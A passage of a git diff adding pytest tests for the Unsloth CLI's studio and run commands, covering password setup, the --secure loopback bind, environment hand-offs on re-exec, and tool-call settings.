+        monkeypatch, events, ["--secure", "--password", "another-pw-12345"]
+    )
+
+    assert result.exit_code == 1
+    assert [kind for kind, _ in events] == []
+
+
+def test_studio_default_password_before_subcommand_errors(monkeypatch, tmp_path):
+    # --password on `unsloth studio` (before a subcommand) is a plain-only option;
+    # like --secure/--cloudflare it must error, not be silently dropped.
+    import typer as _typer
+
+    studio_mod = _studio()
+    monkeypatch.setattr(studio_mod, "_ensure_studio_env_exported", lambda: None)
+    app = _typer.Typer()
+    app.add_typer(studio_mod.studio_app, name = "studio")
+    result = CliRunner().invoke(app, ["studio", "--password", "x", "run", "--model", "X"])
+    assert result.exit_code == 2
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "--password" in combined
+
+
+def test_run_password_sets_initial_no_prompt_no_forward(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    before = _seed_auth(studio_mod)
+
+    _invoke_run(monkeypatch, events, _BASE + ["--secure", "--password", "cli-supplied-pw12"])
+
+    assert [kind for kind, _ in events] == ["exec"], events
+    after = _auth_state(studio_mod)
+    assert after["must_change_password"] == 0
+    assert after["password_hash"] != before["password_hash"]
+    assert "--password" not in _exec_argv(events)
+
+
+def test_run_password_via_env_strips_child_env(monkeypatch, tmp_path):
+    # The `run` mirror must also strip UNSLOTH_STUDIO_PASSWORD before re-exec so a
+    # shadowed child cannot re-read the secret (parity with studio_default).
+    import os
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    monkeypatch.setenv("UNSLOTH_STUDIO_PASSWORD", "env-supplied-pw12")
+
+    _invoke_run(monkeypatch, events, _BASE + ["--secure"])
+
+    assert [kind for kind, _ in events] == ["exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 0
+    assert "UNSLOTH_STUDIO_PASSWORD" not in os.environ
+
+
+def test_studio_default_password_applies_on_headless_wildcard_no_tunnel(monkeypatch, tmp_path):
+    # The apply is scoped to "any launch", not just --secure/--cloudflare: a raw
+    # public wildcard bind (-H 0.0.0.0, no tunnel) must set the initial password
+    # before bind and re-exec, with the gate no-op'ing (must_change now 0).
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    before = _seed_auth(studio_mod)
+
+    _invoke_studio_default(
+        monkeypatch, events, ["-H", "0.0.0.0", "--password", "headless-set-pw12"]
+    )
+
+    assert [kind for kind, _ in events] == ["exec"], events
+    after = _auth_state(studio_mod)
+    assert after["must_change_password"] == 0
+    assert after["password_hash"] != before["password_hash"]
+    assert "--password" not in _exec_argv(events)
+
+
+def test_reset_password_then_password_roundtrip(monkeypatch, tmp_path):
+    # After reset-password wipes the DB, the next start re-seeds a fresh admin
+    # that again requires a change, so --password can set a new initial password.
+    import typer
+
+    studio_mod = _studio()
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    _seed_auth(studio_mod)
+    conn = studio_mod._connect_auth_db()
+    studio_mod._cli_update_password(conn, studio_mod.DEFAULT_ADMIN_USERNAME, "first-password-1")
+    conn.close()
+    assert _auth_state(studio_mod)["must_change_password"] == 0
+
+    # reset-password deletes the auth DB + seeded credential files.
+    try:
+        studio_mod.reset_password()
+    except typer.Exit:
+        pass
+    assert not (tmp_path / "auth" / "auth.db").exists()
+
+    # A restart re-seeds (ensure_default_admin, must_change=1); --password sets anew.
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _invoke_studio_default(monkeypatch, events, ["--secure", "--password", "second-password-2"])
+    assert [kind for kind, _ in events] == ["exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 0
diff --git a/unsloth_cli/tests/test_studio_run_parallel_flag.py b/unsloth_cli/tests/test_studio_run_parallel_flag.py
index 558b268a4d..b2fc421359 100644
--- a/unsloth_cli/tests/test_studio_run_parallel_flag.py
+++ b/unsloth_cli/tests/test_studio_run_parallel_flag.py
@@ -170,13 +170,24 @@ def _install_reexec_capture(monkeypatch, *, platform):
 
     monkeypatch.setattr(sys, "platform", platform)
 
+    def capture(kind, argv):
+        captured.append(
+            {
+                "kind": kind,
+                "argv": list(argv),
+                "start_api_key_marker": studio_mod.os.environ.get(
+                    studio_mod._START_API_KEY_MARKER_ENV
+                ),
+            }
+        )
+
     def fake_execvp(file, argv):
-        captured.append({"kind": "execvp", "argv": list(argv)})
+        capture("execvp", argv)
         raise _ExecCaptured(argv)
 
     class _FakePopen:
         def __init__(self, argv, *a, **kw):
-            captured.append({"kind": "popen", "argv": list(argv)})
+            capture("popen", argv)
             self._argv = argv
 
         def wait(self):
@@ -235,6 +246,65 @@ def test_reexec_forwards_parallel_all_aliases(monkeypatch, flag, value):
     ), f"{flag} {value} was dropped on re-exec; argv = {argv}"
 
 
+@pytest.mark.parametrize("platform", ["linux", "darwin", "win32"])
+def test_reexec_hands_off_start_api_key_marker_out_of_band(monkeypatch, platform):
+    """A new child receives the marker while an old child sees no unknown flag."""
+    result, captured = _invoke_run(
+        monkeypatch,
+        _BASE + ["--start-api-key-marker"],
+        platform = platform,
+    )
+    assert len(captured) == 1, result.output
+    assert "--start-api-key-marker" not in captured[0]["argv"]
+    assert captured[0]["start_api_key_marker"] == "1"
+
+
+def test_reexeced_child_consumes_start_api_key_marker_env(monkeypatch):
+    """A supported child consumes the handoff before starting descendants."""
+    studio_mod = _load_run_command()
+    monkeypatch.setenv(studio_mod._START_API_KEY_MARKER_ENV, "1")
+
+    inherited = studio_mod._consume_start_api_key_marker_env()
+
+    assert inherited is True
+    assert studio_mod._START_API_KEY_MARKER_ENV not in studio_mod.os.environ
+
+
+def test_run_default_sets_tool_call_env(monkeypatch):
+    """Plain `unsloth run` enables healing and nudging via the inherited env
+    (written before the re-exec so the child server picks them up at import)."""
+    studio_mod = _load_run_command()
+    monkeypatch.delenv("UNSLOTH_DISABLE_TOOL_CALL_HEALING", raising = False)
+    monkeypatch.delenv("UNSLOTH_TOOL_CALL_NUDGE", raising = False)
+    _invoke_run(monkeypatch, _BASE)
+    assert studio_mod.os.environ["UNSLOTH_DISABLE_TOOL_CALL_HEALING"] == "0"
+    assert studio_mod.os.environ["UNSLOTH_TOOL_CALL_NUDGE"] == "1"
+
+
+def test_run_disable_flags_set_tool_call_env(monkeypatch):
+    """`--disable-tool-call-healing --disable-tool-call-nudging` flips both env vars."""
+    studio_mod = _load_run_command()
+    monkeypatch.delenv("UNSLOTH_DISABLE_TOOL_CALL_HEALING", raising = False)
+    monkeypatch.delenv("UNSLOTH_TOOL_CALL_NUDGE", raising = False)
+    _invoke_run(
+        monkeypatch,
+        _BASE + ["--disable-tool-call-healing", "--disable-tool-call-nudging"],
+    )
+    assert studio_mod.os.environ["UNSLOTH_DISABLE_TOOL_CALL_HEALING"] == "1"
+    assert studio_mod.os.environ["UNSLOTH_TOOL_CALL_NUDGE"] == "0"
+
+
+@pytest.mark.parametrize("inherited", ["0", "false", "False", "no", ""])
+def test_run_omitted_flag_respects_inherited_env(monkeypatch, inherited):
+    """When the flag is omitted, a value the parent set (e.g. `unsloth start`) wins
+    instead of being reset to the default."""
+    studio_mod = _load_run_command()
+    monkeypatch.setenv("UNSLOTH_TOOL_CALL_NUDGE", inherited)
+    monkeypatch.delenv("UNSLOTH_DISABLE_TOOL_CALL_HEALING", raising = False)
+    _invoke_run(monkeypatch, _BASE)
+    assert studio_mod.os.environ["UNSLOTH_TOOL_CALL_NUDGE"] == inherited
+
+
 @pytest.mark.parametrize("platform", ["linux", "darwin", "win32"])
 def test_reexec_argv_is_consistent_across_platforms(monkeypatch, platform):
     """Linux/Darwin (execvp) and Windows (Popen) must build the same argv."""
diff --git a/unsloth_cli/tests/test_studio_secure_flag.py b/unsloth_cli/tests/test_studio_secure_flag.py
index 61b64ff65d..2a67aad95a 100644
--- a/unsloth_cli/tests/test_studio_secure_flag.py
+++ b/unsloth_cli/tests/test_studio_secure_flag.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Tests for the `--secure/--no-secure` Studio flag: option registration,
+"""Tests for the `--secure/--no-secure` Unsloth flag: option registration,
 re-exec/run_server forwarding, the forced 127.0.0.1 bind, and rejection
 alongside --no-cloudflare or before a subcommand. Modeled on
 test_studio_cloudflare_flag.py."""
@@ -74,6 +74,11 @@ def _install_run_reexec_capture(monkeypatch):
     monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
     fake_venv = Path("/fake/studio/venv/unsloth_studio")
     monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    # A built frontend dist is present so the public-launch UI check passes
+    # deterministically (independent of whether the repo dist was built).
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
     fake_bin = fake_venv / "bin" / "unsloth"
     real_is_file = Path.is_file
     monkeypatch.setattr(
@@ -120,7 +125,11 @@ def _invoke_studio_default(monkeypatch, args):
     fake_venv = Path("/fake/studio/venv/unsloth_studio")
     monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
     monkeypatch.setattr(studio_mod, "_find_run_py", lambda: Path("/fake/studio/run.py"))
-    monkeypatch.setattr(studio_mod, "_find_frontend_dist", lambda: None)
+    # A built frontend dist is present so the public-launch UI check passes; this
+    # suite exercises flag forwarding, not the missing-dist lockout guard.
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
     monkeypatch.setattr(sys, "platform", "linux")
 
     def fake_execvp(file, argv):
@@ -172,6 +181,35 @@ def test_studio_default_reexec_forwards_secure(monkeypatch):
     assert argv[argv.index("--host") + 1] == "127.0.0.1", argv
 
 
+def test_run_secure_warns_when_host_overridden(monkeypatch):
+    # -H 0.0.0.0 --secure forces the loopback bind; warn (not error) that -H is
+    # ignored so it does not silently read as "secure and on the network".
+    import typer as _typer
+
+    _install_run_reexec_capture(monkeypatch)
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(_studio().run)
+    result = CliRunner().invoke(app, _BASE + ["-H", "0.0.0.0", "--secure"], catch_exceptions = True)
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "ignores -H" in combined, combined
+
+
+def test_run_secure_no_warning_when_already_loopback(monkeypatch):
+    # --secure with an already-loopback -H must not warn about ignoring -H.
+    import typer as _typer
+
+    _install_run_reexec_capture(monkeypatch)
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(_studio().run)
+    result = CliRunner().invoke(app, _BASE + ["-H", "127.0.0.1", "--secure"], catch_exceptions = True)
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "ignores -H" not in combined, combined
+
+
 def test_studio_default_not_secure_alias_forwards_no_secure(monkeypatch):
     # --not-secure on `unsloth studio` forwards the canonical --no-secure.
     captured = _invoke_studio_default(monkeypatch, ["--not-secure"])
@@ -206,13 +244,23 @@ class _RunServerCaptured(SystemExit):
         self.kwargs = dict(kwargs)
 
 
-def test_run_in_venv_passes_secure_and_forces_host(monkeypatch):
+def test_run_in_venv_passes_secure_and_forces_host(monkeypatch, tmp_path):
     import types
 
     studio_mod = _studio()
-    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    # Real STUDIO_HOME with an already-changed admin (must_change_password=0) so
+    # the pre-exposure gate is a no-op and the in-venv path reaches run_server.
+    # (The gate now fails closed if it cannot open the auth DB, so a fake path
+    # would refuse the launch before this assertion.)
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    _seed = studio_mod._connect_auth_db()
+    studio_mod._ensure_cli_default_admin(_seed)
+    _seed.execute("UPDATE auth_user SET must_change_password = 0")
+    _seed.commit()
+    _seed.close()
+
+    fake_venv = tmp_path / "unsloth_studio"
     monkeypatch.setattr(sys, "prefix", str(fake_venv))
-    monkeypatch.setattr(studio_mod, "STUDIO_HOME", fake_venv.parent)
 
     from unsloth_cli import _tool_policy as _tp_mod
 
@@ -284,6 +332,11 @@ def test_run_secure_resolves_tools_against_loopback(monkeypatch):
     monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
     fake_venv = Path("/fake/studio/venv/unsloth_studio")
     monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    # A built frontend dist is present so the public-launch UI check passes
+    # deterministically (independent of whether the repo dist was built).
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
     fake_bin = fake_venv / "bin" / "unsloth"
     real_is_file = Path.is_file
     monkeypatch.setattr(
diff --git a/unsloth_cli/tests/test_studio_verbose_flag.py b/unsloth_cli/tests/test_studio_verbose_flag.py
index 4af32fd4a2..20468b5f02 100644
--- a/unsloth_cli/tests/test_studio_verbose_flag.py
+++ b/unsloth_cli/tests/test_studio_verbose_flag.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Tests for the `--verbose/-v` Studio flag: option registration on both the
+"""Tests for the `--verbose/-v` Unsloth flag: option registration on both the
 plain callback and the `run` subcommand, re-exec forwarding, the access-log
 env override, and rejection before a subcommand. Modeled on
 test_studio_secure_flag.py."""
@@ -123,7 +123,7 @@ def test_run_without_verbose_leaves_env_unset(monkeypatch):
 
 
 def test_run_verbose_preserves_llama_server_verbosity(monkeypatch):
-    # Studio consumes --verbose but still forwards llama-server's own verbosity.
+    # Unsloth consumes --verbose but still forwards llama-server's own verbosity.
     monkeypatch.delenv(_DEDUP, raising = False)
     monkeypatch.delenv(_POLL, raising = False)
     captured = _invoke_run(monkeypatch, _BASE + ["--verbose"])